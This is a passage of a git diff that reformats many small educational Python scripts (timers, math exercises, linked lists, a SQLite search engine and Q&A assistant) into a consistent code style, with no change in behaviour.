highlightthickness=0, state=DISABLED) +pause_button = Button( + text="Pause", command=pause_timer, highlightthickness=0, state=DISABLED +) pause_button.grid(column=0, row=3) -play_button = Button(text="Play", command=resume_timer, highlightthickness=0, state=DISABLED) +play_button = Button( + text="Play", command=resume_timer, highlightthickness=0, state=DISABLED +) play_button.grid(column=2, row=3) tick_label = Label(text="", font=(FONT_NAME, 15, "bold"), bg=PINK, fg="green") tick_label.grid(column=1, row=4) # Custom durations (stacked vertically) -work_label = Label(text="Work (min):", font=(FONT_NAME, 12, "bold"), bg=PINK, fg="white") +work_label = Label( + text="Work (min):", font=(FONT_NAME, 12, "bold"), bg=PINK, fg="white" +) work_label.grid(column=1, row=5, pady=(20, 0)) entry_work = Entry(width=5, font=(FONT_NAME, 12)) entry_work.grid(column=1, row=6, pady=(5, 10)) -break_label = Label(text="Break (min):", font=(FONT_NAME, 12, "bold"), bg=PINK, fg="white") +break_label = Label( + text="Break (min):", font=(FONT_NAME, 12, "bold"), bg=PINK, fg="white" +) break_label.grid(column=1, row=7, pady=(5, 0)) entry_break = Entry(width=5, font=(FONT_NAME, 12)) entry_break.grid(column=1, row=8, pady=(5, 10)) -set_button = Button(text="Set Durations", command=set_custom_durations, font=(FONT_NAME, 12)) +set_button = Button( + text="Set Durations", command=set_custom_durations, font=(FONT_NAME, 12) +) set_button.grid(column=1, row=9, pady=(10, 20)) # OptionMenu for changing background color bg_color_var = StringVar(window) bg_color_var.set("Pink") -bg_option = OptionMenu(window, bg_color_var, *bg_colors.keys(), command=change_background) +bg_option = OptionMenu( + window, bg_color_var, *bg_colors.keys(), command=change_background +) bg_option.config(font=(FONT_NAME, 12)) bg_option.grid(column=1, row=10, pady=(10, 20)) diff --git a/PongPong_Game/pong/paddle.py b/PongPong_Game/pong/paddle.py index f7df52071b0..0a442523642 100644 --- a/PongPong_Game/pong/paddle.py +++ b/PongPong_Game/pong/paddle.py @@ -15,7 +15,6 @@ def __init__(self, *args, **kwargs): self.event_handlers = [self, self.key_handler] def update(self, win_size: Tuple, border: float, other_object, dt): - newlx = self.x + self.acc_left newrx = self.x + self.acc_right diff --git a/Prime_number.py b/Prime_number.py index 1d9b03d79d9..c9b8259a0fd 100644 --- a/Prime_number.py +++ b/Prime_number.py @@ -23,7 +23,7 @@ def is_prime_b(n): return False if n == 2: return True - for i in range(2, int(n//2)+1): + for i in range(2, int(n // 2) + 1): if n % i == 0: return False return True diff --git a/Program to reverse Linked List( Recursive solution).py b/Program to reverse Linked List( Recursive solution).py index 96263c6a276..14f27b7a6fc 100644 --- a/Program to reverse Linked List( Recursive solution).py +++ b/Program to reverse Linked List( Recursive solution).py @@ -1,6 +1,7 @@ from sys import stdin, setrecursionlimit -setrecursionlimit(10 ** 6) +setrecursionlimit(10**6) + # Following is the Node class already written for the Linked List class Node: @@ -56,7 +57,6 @@ def printLinkedList(head): t = int(stdin.readline().rstrip()) while t > 0: - head = takeInput() newHead = reverseLinkedListRec(head) diff --git a/Python Distance.py b/Python Distance.py index 5ac0e09fc36..919f1e1528f 100644 --- a/Python Distance.py +++ b/Python Distance.py @@ -6,8 +6,8 @@ # terms = int(input("How many terms? ")) # use anonymous function -result = list(map(lambda x: 2 ** x, range(terms))) +result = list(map(lambda x: 2**x, range(terms))) -print("The total terms are:",terms) +print("The total terms are:", terms) for i in range(terms): - print("2 raised to power",i,"is",result[i]) + print("2 raised to power", i, "is", result[i]) diff --git a/Python Program for Product of unique prime factors of a number.py b/Python Program for Product of unique prime factors of a number.py index 594f032750e..1018f51be56 100644 --- a/Python Program for Product of unique prime factors of a number.py +++ b/Python Program for Product of unique prime factors of a number.py @@ -1,29 +1,29 @@ -# Python program to find sum of given -# series. - -def productPrimeFactors(n): - product = 1 - - for i in range(2, n+1): - if (n % i == 0): - isPrime = 1 - - for j in range(2, int(i/2 + 1)): - if (i % j == 0): - isPrime = 0 - break - - # condition if \'i\' is Prime number - # as well as factor of num - if (isPrime): - product = product * i - - return product - - - -# main() +# Python program to find sum of given +# series. + + +def productPrimeFactors(n): + product = 1 + + for i in range(2, n + 1): + if n % i == 0: + isPrime = 1 + + for j in range(2, int(i / 2 + 1)): + if i % j == 0: + isPrime = 0 + break + + # condition if \'i\' is Prime number + # as well as factor of num + if isPrime: + product = product * i + + return product + + +# main() n = 44 -print (productPrimeFactors(n)) +print(productPrimeFactors(n)) -# Contributed by _omg +# Contributed by _omg diff --git a/Python Program for Tower of Hanoi.py b/Python Program for Tower of Hanoi.py index 7efb1b56363..00c8eb96ce0 100644 --- a/Python Program for Tower of Hanoi.py +++ b/Python Program for Tower of Hanoi.py @@ -1,10 +1,12 @@ -# Recursive Python function to solve the tower of hanoi -def TowerOfHanoi(n , source, destination, auxiliary): - if n==1: - print("Move disk 1 from source ",source," to destination ",destination) - return - TowerOfHanoi(n-1, source, auxiliary, destination) - print("Move disk ",n," from source ",source," to destination ",destination) - TowerOfHanoi(n-1, auxiliary, destination, source) +# Recursive Python function to solve the tower of hanoi +def TowerOfHanoi(n, source, destination, auxiliary): + if n == 1: + print("Move disk 1 from source ", source, " to destination ", destination) + return + TowerOfHanoi(n - 1, source, auxiliary, destination) + print("Move disk ", n, " from source ", source, " to destination ", destination) + TowerOfHanoi(n - 1, auxiliary, destination, source) + + n = 4 -TowerOfHanoi(n,'A','B','C') +TowerOfHanoi(n, "A", "B", "C") diff --git a/Python Program for factorial of a number.py b/Python Program for factorial of a number.py index fb75b99de87..2fd0ec75fe5 100644 --- a/Python Program for factorial of a number.py +++ b/Python Program for factorial of a number.py @@ -1,6 +1,6 @@ """ Factorial of a non-negative integer, is multiplication of -all integers smaller than or equal to n. +all integers smaller than or equal to n. For example factorial of 6 is 6*5*4*3*2*1 which is 720. """ @@ -8,31 +8,36 @@ Recursive: Python3 program to find factorial of given number """ -def factorial(n): - - # single line to find factorial - return 1 if (n==1 or n==0) else n * factorial(n - 1); - -# Driver Code -num = 5; -print("Factorial of",num,"is", factorial((num))) + + +def factorial(n): + # single line to find factorial + return 1 if (n == 1 or n == 0) else n * factorial(n - 1) + + +# Driver Code +num = 5 +print("Factorial of", num, "is", factorial((num))) """ Iterative: Python 3 program to find factorial of given number. -""" -def factorial(n): - if n < 0: +""" + + +def factorial(n): + if n < 0: return 0 - elif n == 0 or n == 1: + elif n == 0 or n == 1: return 1 - else: + else: fact = 1 - while(n > 1): - fact *= n + while n > 1: + fact *= n n -= 1 - return fact - -# Driver Code -num = 5; -print("Factorial of",num,"is", factorial(num)) + return fact + + +# Driver Code +num = 5 +print("Factorial of", num, "is", factorial(num)) diff --git a/Python Program to Count the Number of Each Vowel.py b/Python Program to Count the Number of Each Vowel.py index 297e2488590..eb66d0967d6 100644 --- a/Python Program to Count the Number of Each Vowel.py +++ b/Python Program to Count the Number of Each Vowel.py @@ -1,19 +1,19 @@ # Program to count the number of each vowels # string of vowels -vowels = 'aeiou' +vowels = "aeiou" -ip_str = 'Hello, have you tried our tutorial section yet?' +ip_str = "Hello, have you tried our tutorial section yet?" # make it suitable for caseless comparisions ip_str = ip_str.casefold() # make a dictionary with each vowel a key and value 0 -count = {}.fromkeys(vowels,0) +count = {}.fromkeys(vowels, 0) # count the vowels for char in ip_str: - if char in count: - count[char] += 1 + if char in count: + count[char] += 1 print(count) diff --git a/Python Program to Display Fibonacci Sequence Using Recursion.py b/Python Program to Display Fibonacci Sequence Using Recursion.py index 5a70deb0e28..7bfb6b7a03a 100644 --- a/Python Program to Display Fibonacci Sequence Using Recursion.py +++ b/Python Program to Display Fibonacci Sequence Using Recursion.py @@ -1,15 +1,16 @@ def recur_fibo(n): - if n <= 1: - return n - else: - return(recur_fibo(n-1) + recur_fibo(n-2)) + if n <= 1: + return n + else: + return recur_fibo(n - 1) + recur_fibo(n - 2) + nterms = 10 # check if the number of terms is valid if nterms <= 0: - print("Please enter a positive integer") + print("Please enter a positive integer") else: - print("Fibonacci sequence:") - for i in range(nterms): - print(recur_fibo(i)) + print("Fibonacci sequence:") + for i in range(nterms): + print(recur_fibo(i)) diff --git a/Python Program to Find LCM.py b/Python Program to Find LCM.py index 6e9cf1cc8a1..dfd1b57e81e 100644 --- a/Python Program to Find LCM.py +++ b/Python Program to Find LCM.py @@ -1,20 +1,21 @@ # Python Program to find the L.C.M. of two input number + def compute_lcm(x, y): + # choose the greater number + if x > y: + greater = x + else: + greater = y - # choose the greater number - if x > y: - greater = x - else: - greater = y + while True: + if (greater % x == 0) and (greater % y == 0): + lcm = greater + break + greater += 1 - while(True): - if((greater % x == 0) and (greater % y == 0)): - lcm = greater - break - greater += 1 + return lcm - return lcm num1 = 54 num2 = 24 diff --git a/Python Program to Merge Mails.py b/Python Program to Merge Mails.py index 2d18c6dbaee..f8189fff88e 100644 --- a/Python Program to Merge Mails.py +++ b/Python Program to Merge Mails.py @@ -3,11 +3,9 @@ # Body of the mail is in body.txt # open names.txt for reading -with open("names.txt", 'r', encoding='utf-8') as names_file: - +with open("names.txt", "r", encoding="utf-8") as names_file: # open body.txt for reading - with open("body.txt", 'r', encoding='utf-8') as body_file: - + with open("body.txt", "r", encoding="utf-8") as body_file: # read entire content of the body body = body_file.read() @@ -16,6 +14,5 @@ mail = "Hello " + name.strip() + "\n" + body # write the mails to individual files - with open(name.strip()+".txt", 'w', encoding='utf-8') as mail_file: + with open(name.strip() + ".txt", "w", encoding="utf-8") as mail_file: mail_file.write(mail) - diff --git a/Python Program to Print the Fibonacci sequence.py b/Python Program to Print the Fibonacci sequence.py index 9f6b1b3d7ce..d6a70a574cd 100644 --- a/Python Program to Print the Fibonacci sequence.py +++ b/Python Program to Print the Fibonacci sequence.py @@ -8,16 +8,16 @@ # check if the number of terms is valid if nterms <= 0: - print("Please enter a positive integer") + print("Please enter a positive integer") elif nterms == 1: - print("Fibonacci sequence upto",nterms,":") - print(n1) + print("Fibonacci sequence upto", nterms, ":") + print(n1) else: - print("Fibonacci sequence:") - while count < nterms: - print(n1) - nth = n1 + n2 - # update values - n1 = n2 - n2 = nth - count += 1 + print("Fibonacci sequence:") + while count < nterms: + print(n1) + nth = n1 + n2 + # update values + n1 = n2 + n2 = nth + count += 1 diff --git a/Python Program to Remove Punctuations from a String.py b/Python Program to Remove Punctuations from a String.py index 3f0f0d10736..6154c73a11b 100644 --- a/Python Program to Remove Punctuations from a String.py +++ b/Python Program to Remove Punctuations from a String.py @@ -1,5 +1,5 @@ # define punctuation -punctuations = r'''!()-[]{};:'"\,<>./?@#$%^&*_~''' +punctuations = r"""!()-[]{};:'"\,<>./?@#$%^&*_~""" my_str = "Hello!!!, he said ---and went." @@ -9,8 +9,8 @@ # remove punctuation from the string no_punct = "" for char in my_str: - if char not in punctuations: - no_punct = no_punct + char + if char not in punctuations: + no_punct = no_punct + char # display the unpunctuated string print(no_punct) diff --git a/Python Program to Reverse a linked list.py b/Python Program to Reverse a linked list.py index c3eff50ebab..e636a0df632 100644 --- a/Python Program to Reverse a linked list.py +++ b/Python Program to Reverse a linked list.py @@ -1,57 +1,56 @@ -# Python program to reverse a linked list -# Time Complexity : O(n) -# Space Complexity : O(1) - -# Node class -class Node: - - # Constructor to initialize the node object - def __init__(self, data): - self.data = data - self.next = None - -class LinkedList: - - # Function to initialize head - def __init__(self): - self.head = None - - # Function to reverse the linked list - def reverse(self): - prev = None - current = self.head - while(current is not None): - next = current.next - current.next = prev - prev = current - current = next - self.head = prev - - # Function to insert a new node at the beginning - def push(self, new_data): - new_node = Node(new_data) - new_node.next = self.head - self.head = new_node - - # Utility function to print the linked LinkedList - def printList(self): - temp = self.head - while(temp): - print(temp.data) - temp = temp.next - - -# Driver program to test above functions -llist = LinkedList() -llist.push(20) -llist.push(4) -llist.push(15) -llist.push(85) +# Python program to reverse a linked list +# Time Complexity : O(n) +# Space Complexity : O(1) + +# Node class +class Node: + # Constructor to initialize the node object + def __init__(self, data): + self.data = data + self.next = None + + +class LinkedList: + # Function to initialize head + def __init__(self): + self.head = None + + # Function to reverse the linked list + def reverse(self): + prev = None + current = self.head + while current is not None: + next = current.next + current.next = prev + prev = current + current = next + self.head = prev + + # Function to insert a new node at the beginning + def push(self, new_data): + new_node = Node(new_data) + new_node.next = self.head + self.head = new_node + + # Utility function to print the linked LinkedList + def printList(self): + temp = self.head + while temp: + print(temp.data) + temp = temp.next + + +# Driver program to test above functions +llist = LinkedList() +llist.push(20) +llist.push(4) +llist.push(15) +llist.push(85) print("Given Linked List") -llist.printList() -llist.reverse() +llist.printList() +llist.reverse() print("\nReversed Linked List") -llist.printList() +llist.printList() -# This code is contributed by Nikhil Kumar Singh(nickzuck_007) +# This code is contributed by Nikhil Kumar Singh(nickzuck_007) diff --git a/Python Program to Sort Words in Alphabetic Order.py b/Python Program to Sort Words in Alphabetic Order.py index 3e4bd3564e5..737f88c5a8e 100644 --- a/Python Program to Sort Words in Alphabetic Order.py +++ b/Python Program to Sort Words in Alphabetic Order.py @@ -1,23 +1,23 @@ # Program to sort words alphabetically and put them in a dictionary with corresponding numbered keys -# We are also removing punctuation to ensure the desired output, without importing a library for assistance. +# We are also removing punctuation to ensure the desired output, without importing a library for assistance. # Declare base variables word_Dict = {} count = 0 my_str = "Hello this Is an Example With cased letters. Hello, this is a good string" -#Initialize punctuation -punctuations = '''!()-[]{};:'",<>./?@#$%^&*_~''' +# Initialize punctuation +punctuations = """!()-[]{};:'",<>./?@#$%^&*_~""" # To take input from the user -#my_str = input("Enter a string: ") +# my_str = input("Enter a string: ") # remove punctuation from the string and use an empty variable to put the alphabetic characters into no_punct = "" for char in my_str: - if char not in punctuations: - no_punct = no_punct + char + if char not in punctuations: + no_punct = no_punct + char -# Make all words in string lowercase. my_str now equals the original string without the punctuation +# Make all words in string lowercase. my_str now equals the original string without the punctuation my_str = no_punct.lower() # breakdown the string into a list of words @@ -36,7 +36,7 @@ # insert sorted words into dictionary with key for word in new_Word_List: - count+=1 + count += 1 word_Dict[count] = word print(word_Dict) diff --git a/Python Program to Transpose a Matrix.py b/Python Program to Transpose a Matrix.py index 98f6dcba024..d636ebcfa6a 100644 --- a/Python Program to Transpose a Matrix.py +++ b/Python Program to Transpose a Matrix.py @@ -1,15 +1,12 @@ -X = [[12,7], - [4 ,5], - [3 ,8]] +X = [[12, 7], [4, 5], [3, 8]] -result = [[0,0,0], - [0,0,0]] +result = [[0, 0, 0], [0, 0, 0]] # iterate through rows for i in range(len(X)): - # iterate through columns - for j in range(len(X[0])): - result[j][i] = X[i][j] + # iterate through columns + for j in range(len(X[0])): + result[j][i] = X[i][j] for r in result: - print(r) + print(r) diff --git a/Python Voice Generator.py b/Python Voice Generator.py index 9541ccfae51..10207a9ca0d 100644 --- a/Python Voice Generator.py +++ b/Python Voice Generator.py @@ -1,11 +1,12 @@ -#install and import google text-to-speech library gtts +# install and import google text-to-speech library gtts from gtts import gTTS import os -#provide user input text -text=input('enter the text: ') -#covert text into voice -voice=gTTS(text=text, lang='en') -#save the generated voice -voice.save('output.mp3') -#play the file in windows -os.system('start output.mp3') \ No newline at end of file + +# provide user input text +text = input("enter the text: ") +# covert text into voice +voice = gTTS(text=text, lang="en") +# save the generated voice +voice.save("output.mp3") +# play the file in windows +os.system("start output.mp3") diff --git a/Python-Array-Equilibrium-Index.py b/Python-Array-Equilibrium-Index.py index 0aac8fbf995..a12ee99a79c 100644 --- a/Python-Array-Equilibrium-Index.py +++ b/Python-Array-Equilibrium-Index.py @@ -13,25 +13,27 @@ 7 -7 1 5 2 -4 3 0 Sample Output : -3 """ -def equilibrium(arr): - - # finding the sum of whole array - total_sum = sum(arr) +3""" + + +def equilibrium(arr): + # finding the sum of whole array + total_sum = sum(arr) leftsum = 0 - for i, num in enumerate(arr): - - # total_sum is now right sum - # for index i - total_sum -= num - - if leftsum == total_sum: - return i - leftsum += num - - # If no equilibrium index found, - # then return -1 + for i, num in enumerate(arr): + # total_sum is now right sum + # for index i + total_sum -= num + + if leftsum == total_sum: + return i + leftsum += num + + # If no equilibrium index found, + # then return -1 return -1 + + n = int(input()) arr = [int(i) for i in input().strip().split()] print(equilibrium(arr)) diff --git a/Python_swapping.py b/Python_swapping.py index 02b9411bca9..1822f2f1bc3 100644 --- a/Python_swapping.py +++ b/Python_swapping.py @@ -1,18 +1,19 @@ -# Python3 program to swap first -# and last element of a list - -# Swap function -def swapList(newList): - size = len(newList) - - # Swapping - temp = newList[0] - newList[0] = newList[size - 1] - newList[size - 1] = temp - - return newList - -# Driver code -newList = [12, 35, 9, 56, 24] - -print(swapList(newList)) +# Python3 program to swap first +# and last element of a list + +# Swap function +def swapList(newList): + size = len(newList) + + # Swapping + temp = newList[0] + newList[0] = newList[size - 1] + newList[size - 1] = temp + + return newList + + +# Driver code +newList = [12, 35, 9, 56, 24] + +print(swapList(newList)) diff --git a/QR_code_generator/qrcode.py b/QR_code_generator/qrcode.py index 124cb080f2c..51a48b692b9 100755 --- a/QR_code_generator/qrcode.py +++ b/QR_code_generator/qrcode.py @@ -1,5 +1,5 @@ import pyqrcode -# from pyqrcode import QRCode +# from pyqrcode import QRCode # no need to import same library again and again # Creating QR code after given text "input" diff --git a/QuestionAnswerVirtualAssistant/backend.py b/QuestionAnswerVirtualAssistant/backend.py index 6813d2a1008..3746a93cb69 100644 --- a/QuestionAnswerVirtualAssistant/backend.py +++ b/QuestionAnswerVirtualAssistant/backend.py @@ -3,13 +3,14 @@ import pandas as pd from sklearn.feature_extraction.text import TfidfVectorizer + class QuestionAnswerVirtualAssistant: """ Used for automatic question-answering It works by building a reverse index store that maps words to an id. To find the indexed questions that contain - a certain the words in the user question, we then take an + a certain the words in the user question, we then take an intersection of the ids, ranks the questions to pick the best fit, then select the answer that maps to that question """ @@ -30,9 +31,17 @@ def __init__(self): tables_exist = res.fetchone() if not tables_exist: - self.conn.execute("CREATE TABLE IdToQuesAns(id INTEGER PRIMARY KEY, question TEXT, answer TEXT)") - self.conn.execute('CREATE TABLE WordToId (name TEXT, value TEXT)') - cur.execute("INSERT INTO WordToId VALUES (?, ?)", ("index", "{}",)) + self.conn.execute( + "CREATE TABLE IdToQuesAns(id INTEGER PRIMARY KEY, question TEXT, answer TEXT)" + ) + self.conn.execute("CREATE TABLE WordToId (name TEXT, value TEXT)") + cur.execute( + "INSERT INTO WordToId VALUES (?, ?)", + ( + "index", + "{}", + ), + ) def index_question_answer(self, question, answer): """ @@ -46,13 +55,15 @@ def index_question_answer(self, question, answer): - passes the question and answer to a method to add them to IdToQuesAns - retrieves the id of the inserted ques-answer - - uses the id to call the method that adds the words of + - uses the id to call the method that adds the words of the question to the reverse index WordToId if the word has not already been indexed """ row_id = self._add_to_IdToQuesAns(question.lower(), answer.lower()) cur = self.conn.cursor() - reverse_idx = cur.execute("SELECT value FROM WordToId WHERE name='index'").fetchone()[0] + reverse_idx = cur.execute( + "SELECT value FROM WordToId WHERE name='index'" + ).fetchone()[0] reverse_idx = json.loads(reverse_idx) question = question.split() for word in question: @@ -63,8 +74,10 @@ def index_question_answer(self, question, answer): reverse_idx[word].append(row_id) reverse_idx = json.dumps(reverse_idx) cur = self.conn.cursor() - result = cur.execute("UPDATE WordToId SET value = (?) WHERE name='index'", (reverse_idx,)) - return("index successful") + result = cur.execute( + "UPDATE WordToId SET value = (?) WHERE name='index'", (reverse_idx,) + ) + return "index successful" def _add_to_IdToQuesAns(self, question, answer): """ @@ -76,7 +89,13 @@ def _add_to_IdToQuesAns(self, question, answer): - retrieve and return the row id of the inserted document """ cur = self.conn.cursor() - res = cur.execute("INSERT INTO IdToQuesAns (question, answer) VALUES (?, ?)", (question, answer,)) + res = cur.execute( + "INSERT INTO IdToQuesAns (question, answer) VALUES (?, ?)", + ( + question, + answer, + ), + ) return res.lastrowid def find_questions(self, user_input): @@ -91,7 +110,9 @@ def find_questions(self, user_input): - return the result of the called method """ cur = self.conn.cursor() - reverse_idx = cur.execute("SELECT value FROM WordToId WHERE name='index'").fetchone()[0] + reverse_idx = cur.execute( + "SELECT value FROM WordToId WHERE name='index'" + ).fetchone()[0] reverse_idx = json.loads(reverse_idx) user_input = user_input.split(" ") all_docs_with_user_input = [] @@ -99,18 +120,18 @@ def find_questions(self, user_input): if term in reverse_idx: all_docs_with_user_input.append(reverse_idx[term]) - if not all_docs_with_user_input: # the user_input does not exist + if not all_docs_with_user_input: # the user_input does not exist return [] common_idx_of_docs = set(all_docs_with_user_input[0]) for idx in all_docs_with_user_input[1:]: common_idx_of_docs.intersection_update(idx) - if not common_idx_of_docs: # the user_input does not exist + if not common_idx_of_docs: # the user_input does not exist return [] return self._find_questions_with_idx(common_idx_of_docs) - + def _find_questions_with_idx(self, idxs): """ Returns - list[str]: the list of questions with the idxs @@ -122,11 +143,11 @@ def _find_questions_with_idx(self, idxs): """ idxs = list(idxs) cur = self.conn.cursor() - sql="SELECT id, question, answer FROM IdToQuesAns WHERE id in ({seq})".format( - seq=','.join(['?']*len(idxs)) - ) + sql = "SELECT id, question, answer FROM IdToQuesAns WHERE id in ({seq})".format( + seq=",".join(["?"] * len(idxs)) + ) result = cur.execute(sql, idxs).fetchall() - return(result) + return result def find_most_matched_question(self, user_input, corpus): """ @@ -138,14 +159,16 @@ def find_most_matched_question(self, user_input, corpus): """ vectorizer = TfidfVectorizer() tfidf_scores = vectorizer.fit_transform(corpus) - tfidf_array = pd.DataFrame(tfidf_scores.toarray(),columns=vectorizer.get_feature_names_out()) + tfidf_array = pd.DataFrame( + tfidf_scores.toarray(), columns=vectorizer.get_feature_names_out() + ) tfidf_dict = tfidf_array.to_dict() user_input = user_input.split(" ") result = [] for idx in range(len(corpus)): result.append([0, corpus[idx]]) - + for term in user_input: if term in tfidf_dict: for idx in range(len(result)): @@ -165,8 +188,12 @@ def provide_answer(self, user_input): """ matching_questions = self.find_questions(user_input) corpus = [item[1] for item in matching_questions] - question_map = {question:answer for (id, question, answer) in matching_questions} - score, most_matching_question = self.find_most_matched_question(user_input, corpus) + question_map = { + question: answer for (id, question, answer) in matching_questions + } + score, most_matching_question = self.find_most_matched_question( + user_input, corpus + ) return question_map[most_matching_question] @@ -174,21 +201,21 @@ def provide_answer(self, user_input): va = QuestionAnswerVirtualAssistant() va.index_question_answer( "What are the different types of competitions available on Kaggle", - "Types of Competitions Kaggle Competitions are designed to provide challenges for competitors" + "Types of Competitions Kaggle Competitions are designed to provide challenges for competitors", ) print( va.index_question_answer( "How to form, manage, and disband teams in a competition", - "Everyone that competes in a Competition does so as a team. A team is a group of one or more users" + "Everyone that competes in a Competition does so as a team. A team is a group of one or more users", ) ) va.index_question_answer( "What is Data Leakage", - "Data Leakage is the presence of unexpected additional information in the training data" + "Data Leakage is the presence of unexpected additional information in the training data", ) va.index_question_answer( "How does Kaggle handle cheating", - "Cheating is not taken lightly on Kaggle. We monitor our compliance account" + "Cheating is not taken lightly on Kaggle. We monitor our compliance account", ) print(va.provide_answer("state Kaggle cheating policy")) - print(va.provide_answer("Tell me what is data leakage")) \ No newline at end of file + print(va.provide_answer("Tell me what is data leakage")) diff --git a/QuestionAnswerVirtualAssistant/frontend.py b/QuestionAnswerVirtualAssistant/frontend.py index becc7dc8307..216568bacc5 100644 --- a/QuestionAnswerVirtualAssistant/frontend.py +++ b/QuestionAnswerVirtualAssistant/frontend.py @@ -11,22 +11,26 @@ def index_question_answer(): va = backend.QuestionAnswerVirtualAssistant() print(va.index_question_answer(question, answer)) + def provide_answer(): term = provide_answer_entry.get() va = backend.QuestionAnswerVirtualAssistant() print(va.provide_answer(term)) + if __name__ == "__main__": root = Tk() root.title("Knowledge base") - root.geometry('300x300') + root.geometry("300x300") index_question_answer_label = Label(root, text="Add question:") index_question_answer_label.pack() index_question_answer_entry = Entry(root) index_question_answer_entry.pack() - index_question_answer_button = Button(root, text="add", command=index_question_answer) + index_question_answer_button = Button( + root, text="add", command=index_question_answer + ) index_question_answer_button.pack() provide_answer_label = Label(root, text="User Input:") @@ -37,4 +41,4 @@ def provide_answer(): search_term_button = Button(root, text="ask", command=provide_answer) search_term_button.pack() - root.mainloop() \ No newline at end of file + root.mainloop() diff --git a/Random Password Generator.py b/Random Password Generator.py index b13262dadf8..f420421d14b 100644 --- a/Random Password Generator.py +++ b/Random Password Generator.py @@ -1,12 +1,11 @@ import random -low="abcdefghijklmnopqrstuvwxyz" -upp="ABCDEFGHIJKLMNOPQRSTUVWXYZ" -num="0123456789" -sym="!@#$%^&*" +low = "abcdefghijklmnopqrstuvwxyz" +upp = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" +num = "0123456789" +sym = "!@#$%^&*" -all=low+upp+num+sym -length=8 -password="".join(random.sample(all,length)) +all = low + upp + num + sym +length = 8 +password = "".join(random.sample(all, length)) print(password) - diff --git a/RandomDice.py b/RandomDice.py index 404c4b30a72..682aaa47613 100644 --- a/RandomDice.py +++ b/RandomDice.py @@ -5,6 +5,7 @@ from random import randint from tkinter import * + # Function to rool the dice def roll(): text.delete(0.0, END) diff --git a/RandomNumberGame.py b/RandomNumberGame.py index 8b3129234a6..23b33dd79e0 100644 --- a/RandomNumberGame.py +++ b/RandomNumberGame.py @@ -1,9 +1,9 @@ """ - hey everyone it is a basic game code using random . in this game computer will randomly chose an number from 1 to 100 and players will have - to guess that which number it is and game will tell him on every guss whether his/her guess is smaller or bigger than the chosen number. it is - a multi player game so it can be played with many players there is no such limitations of user till the size of list. if any one wants to modify - this game he/she is most welcomed. - Thank you +hey everyone it is a basic game code using random . in this game computer will randomly chose an number from 1 to 100 and players will have +to guess that which number it is and game will tell him on every guss whether his/her guess is smaller or bigger than the chosen number. it is +a multi player game so it can be played with many players there is no such limitations of user till the size of list. if any one wants to modify +this game he/she is most welcomed. + Thank you """ import os diff --git a/Randomnumber.py b/Randomnumber.py index 45d08b4499b..6cd29746f7c 100644 --- a/Randomnumber.py +++ b/Randomnumber.py @@ -3,4 +3,4 @@ # importing the random module from random import randint -print(randint(0,9)) +print(randint(0, 9)) diff --git a/SOUNDEX.py b/SOUNDEX.py index 4d49ca8272e..fd3a3fdc9c4 100644 --- a/SOUNDEX.py +++ b/SOUNDEX.py @@ -2,7 +2,6 @@ def SOUNDEX(TERM: str): - # Step 0: Covert the TERM to UpperCase TERM = TERM.upper() TERM_LETTERS = [char for char in TERM if char.isalpha()] diff --git a/Search_Engine/backend.py b/Search_Engine/backend.py index fab720c3a50..2c4f730b914 100644 --- a/Search_Engine/backend.py +++ b/Search_Engine/backend.py @@ -1,6 +1,7 @@ import sqlite3 import json + class SearchEngine: """ It works by building a reverse index store that maps @@ -25,9 +26,17 @@ def __init__(self): tables_exist = res.fetchone() if not tables_exist: - self.conn.execute("CREATE TABLE IdToDoc(id INTEGER PRIMARY KEY, document TEXT)") - self.conn.execute('CREATE TABLE WordToId (name TEXT, value TEXT)') - cur.execute("INSERT INTO WordToId VALUES (?, ?)", ("index", "{}",)) + self.conn.execute( + "CREATE TABLE IdToDoc(id INTEGER PRIMARY KEY, document TEXT)" + ) + self.conn.execute("CREATE TABLE WordToId (name TEXT, value TEXT)") + cur.execute( + "INSERT INTO WordToId VALUES (?, ?)", + ( + "index", + "{}", + ), + ) def index_document(self, document): """ @@ -41,13 +50,15 @@ def index_document(self, document): - passes the document to a method to add the document to IdToDoc - retrieves the id of the inserted document - - uses the id to call the method that adds the words of + - uses the id to call the method that adds the words of the document to the reverse index WordToId if the word has not already been indexed """ row_id = self._add_to_IdToDoc(document) cur = self.conn.cursor() - reverse_idx = cur.execute("SELECT value FROM WordToId WHERE name='index'").fetchone()[0] + reverse_idx = cur.execute( + "SELECT value FROM WordToId WHERE name='index'" + ).fetchone()[0] reverse_idx = json.loads(reverse_idx) document = document.split() for word in document: @@ -58,8 +69,10 @@ def index_document(self, document): reverse_idx[word].append(row_id) reverse_idx = json.dumps(reverse_idx) cur = self.conn.cursor() - result = cur.execute("UPDATE WordToId SET value = (?) WHERE name='index'", (reverse_idx,)) - return("index successful") + result = cur.execute( + "UPDATE WordToId SET value = (?) WHERE name='index'", (reverse_idx,) + ) + return "index successful" def _add_to_IdToDoc(self, document): """ @@ -86,7 +99,9 @@ def find_documents(self, search_term): - return the result of the called method """ cur = self.conn.cursor() - reverse_idx = cur.execute("SELECT value FROM WordToId WHERE name='index'").fetchone()[0] + reverse_idx = cur.execute( + "SELECT value FROM WordToId WHERE name='index'" + ).fetchone()[0] reverse_idx = json.loads(reverse_idx) search_term = search_term.split(" ") all_docs_with_search_term = [] @@ -94,18 +109,18 @@ def find_documents(self, search_term): if term in reverse_idx: all_docs_with_search_term.append(reverse_idx[term]) - if not all_docs_with_search_term: # the search term does not exist + if not all_docs_with_search_term: # the search term does not exist return [] common_idx_of_docs = set(all_docs_with_search_term[0]) for idx in all_docs_with_search_term[1:]: common_idx_of_docs.intersection_update(idx) - if not common_idx_of_docs: # the search term does not exist + if not common_idx_of_docs: # the search term does not exist return [] return self._find_documents_with_idx(common_idx_of_docs) - + def _find_documents_with_idx(self, idxs): """ Returns - list[str]: the list of documents with the idxs @@ -117,11 +132,11 @@ def _find_documents_with_idx(self, idxs): """ idxs = list(idxs) cur = self.conn.cursor() - sql="SELECT document FROM IdToDoc WHERE id in ({seq})".format( - seq=','.join(['?']*len(idxs)) - ) + sql = "SELECT document FROM IdToDoc WHERE id in ({seq})".format( + seq=",".join(["?"] * len(idxs)) + ) result = cur.execute(sql, idxs).fetchall() - return(result) + return result if __name__ == "__main__": @@ -130,4 +145,4 @@ def _find_documents_with_idx(self, idxs): print(se.index_document("happiness is all you need")) se.index_document("no way should we be sad") se.index_document("a cheerful heart is a happy one even in Nigeria") - print(se.find_documents("happy")) \ No newline at end of file + print(se.find_documents("happy")) diff --git a/Search_Engine/frontend.py b/Search_Engine/frontend.py index c78bf525169..11905bf9d05 100644 --- a/Search_Engine/frontend.py +++ 